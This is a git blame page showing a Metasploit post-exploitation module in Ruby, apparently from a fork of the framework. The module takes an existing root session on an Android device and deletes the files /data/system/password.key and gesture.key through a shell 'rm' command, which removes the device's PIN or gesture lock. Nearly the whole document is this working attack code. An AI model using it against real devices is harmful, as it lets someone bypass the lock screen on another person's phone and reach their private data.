Files
metasploit-gs/modules/post/android/manage/remove_lock_root.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

48 lines
1.2 KiB
Ruby
Raw Normal View History

2015-05-25 13:37:30 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-05-25 13:37:30 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2015-05-25 13:37:30 +01:00
include Msf::Post::Common
include Msf::Post::Android::Priv
2015-05-25 13:37:30 +01:00
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Android Root Remove Device Locks (root)',
'Description' => %q{
2015-05-25 13:37:30 +01:00
This module uses root privileges to remove the device lock.
In some cases the original lock method will still be present but any key/gesture will
unlock the device.
2023-02-08 13:47:34 +00:00
},
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => [ 'timwr' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => 'android'
}
)
)
2015-05-25 13:37:30 +01:00
end
def run
unless is_root?
2023-02-08 13:47:34 +00:00
print_error('This module requires root permissions.')
return
2015-05-25 13:37:30 +01:00
end
2023-02-08 13:47:34 +00:00
%w[
/data/system/password.key
/data/system/gesture.key
2023-02-08 13:47:34 +00:00
].each do |path|
print_status("Removing #{path}")
cmd_exec("rm #{path}")
end
2023-02-08 13:47:34 +00:00
print_status('Device should be unlocked or no longer require a pin')
2015-05-25 13:37:30 +01:00
end
end